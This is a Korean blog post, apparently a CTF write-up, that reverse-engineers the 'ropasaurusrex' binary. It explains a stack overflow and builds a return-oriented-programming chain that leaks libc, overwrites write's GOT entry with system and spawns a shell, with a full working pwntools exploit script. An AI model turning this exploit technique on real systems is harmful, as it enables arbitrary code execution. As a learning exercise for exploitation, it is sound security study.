티스토리 뷰
오늘은 ROP (Return Oriented Programing) 에 대해 라업을 작성해보자!
로파사우르스렉스 이지만 앞에 rop가 있으니 rop로 ㄱㄱ
이문제는 코드가 없어서 리버싱을 해봐야한다.
따라서 IDA에 올려보자!
IDA에 올리고 나서 프로그램은 main함수에서 시작되므로
main함수를 클릭해 tap키를 누르면 C로 작성된 코드를 볼 수 있다.
main 함수에 sub_80483F4와 write 함수가 보인다.
즉 서브함수에서 무엇인가 하고 write함수를 이용해서 WIN을 출력한다
그럼 서브함수는 무엇을 하는지 찾아보자!
간단하게 sub_80483F4를 클릭하면 이 서브함수로 들어오게 되는데
보면 buf를 선언하고 read함수로 buf를 받는다
이때 buf는 [ebp-88]로 보아 0x88의 크기를 갖고있지만
read 함수는 0x100까지 받을 수 있도록 설정 되어 있다.숫자뒤에 붙는 h와 u 는 왜 붙는지 모르겠다..ㅎㅎ
문제의 바이러니 분석은 끝났으므로
시나리오를 짜보자
일단 이전의 문제들 처럼 system('/bin/sh') 을 불러주는 함수가 없으므로
우리가 직접 호출하고 /bin/sh을 입력해줘서 불러야한다.
그렇다면 일단 read함수로 '/bin/sh'을 입력해주고
write 함수를 이용하면 '/bin/sh'을 인자로 출력할 수 있다
이때 write함수를 system 함수로 got를 바꿔준다면 system('/bin/sh') 이 될 것이다.
큰 시나리오는 이렇다면 전체적인 시나리오를 짜보자!
1. write함수를 이용해서 read함수의 실제 주소를 알아낸다.
2. read함수를 이용해서 '/bin/sh' 이란 문자열을 저장한다 (이 문자열을 사용해야하므로 나중에 우리가 불러올 수 있는 주소에 저장한다 예를들면 bss 영역 같은 곳)
3. read 함수를 이용해서 write_got에 system함수 주소를 덮어씌운다.
4. write함수를 호출하면 write_got를 system으로 덮었기 때문에 system함수가 호출된다.
시나리오도 다 짯으니 직접 페이로드도 작성해보자
from pwn import *
p = process('./ropasaurusrex')
e = ELF('./ropasaurusrex')
#------function address-----------
pppr = 0x080484b6
read_plt = 0x0804832c
read_got = 0x0804961c
write_got = 0x08049614
write_plt = 0x0804830c
bss = 0x08049628
shell = '/bin/sh\x00'
off = 0x9ad60
# full the buf
payload = "A"*140
#----read_addr---------
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
#-----'/bin/sh' store ------
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
#-----write_got -> system -----
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
#-----call the write(system) -----
payload += p32(write_plt)
payload += "AAAA"
payload += p32(bss)
p.sendline(payload)
read_addr = u32(p.recv(4))
log.info(hex(read_addr))
system_addr = read_addr - off
p.send("/bin/sh\x00")
p.sendline(p32(system_addr))
p.interactive()
하나씩 이해해보자!
먼저 function addr부분은 우리가 payload 작성할때 필요한 함수들의 주소를 미리 구해놨다.
1. pppr 의 주소
objdump -d ./ropasaurusrex | grep -B3 ret
명령어를 통해 pop pop pop ret 의 주소를 찾는다
0x80484b6 이나 0x080484b6이나 같다.. 이거 멍청하게 선배님께 여쭤봤다...반성중,,,
2. read_plt와 write_plt를 차례로 구해준다.
명령어는 위에 명령어에서 ret 대신에 read와 write로 바꿔주면 된다
3. read_got write_got 주소
GOT 주소를 얻기위해서 gdb로 까봐야하는데
이 문제는 심볼이 없어서 main함수 주소를 직접 입력해서 break를 걸어줘야한다
IDA이용해서 구할 수 있는데 main클릭하고 스페이스바를 클릭하면 이런 화면으로 넘어온다
여기서 메인 옆에 0x0804841D가 메인함수의 시작 주소이다.
이런식으로 break 걸어주고 r 해서 실행해주면 디버깅 할 수 있다
이제 got를 구할 수 있다
이렇게 명령어를 입력하면 된다 x/5i 뒤에 오는 주소는 각각의 plt 주소이다.
4. offset 구하기
간단하게 p/x read-system 해주면 16진수로 바로 나온다
5. bss 주소 구하기
objdump -h ./ropasaurusrex | grep -B3 bss
여기서 4바이트만 필요하니깐
그냥 0x08049628 로 저장했다
함수 주소들을 구하는 방법이였고 그 다음의 payload들은 시나리오의 순서대로 작성됐다.
ROP 끝~~~!!
- Total
- Today
- Yesterday
- Docker daemon
- express 아키텍쳐
- 2024년 회고
- 탈단
- JS 개발
- 정보보호병
- 마노시피유정렬
- ict 인턴십
- Mano-CPU-Programming
- 2023 화이트햇
- and will not be enabled for virtual device 'serial0' will start disconnected
- 군 취약점 제보
- pwnable#basic_exploitation_003#dreamhack#dreamhack.io#SSG
- systemctl start docker
- service docker start
- 탈단 후 입대
- BlackBoard Helper
- Mano-CPU Sort
- fastapi
- the virtual printing feature is globally disabled on this system
- whitehat
- docker.sock
- Mano-CPU 최댓값 찾기
- aiomysql
- vmware 화면 버벅거림
- 어셈블리 최댓값 찾기
- Win7#Win7지뢰찾기#Win7 지뢰찾기#지뢰찾기#Win7 32bit#32bit#MineSweeper.exe#MineSweeper#WinMine
- fastapi 비동기 처리
- Mano-CPU
- chrome extension
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |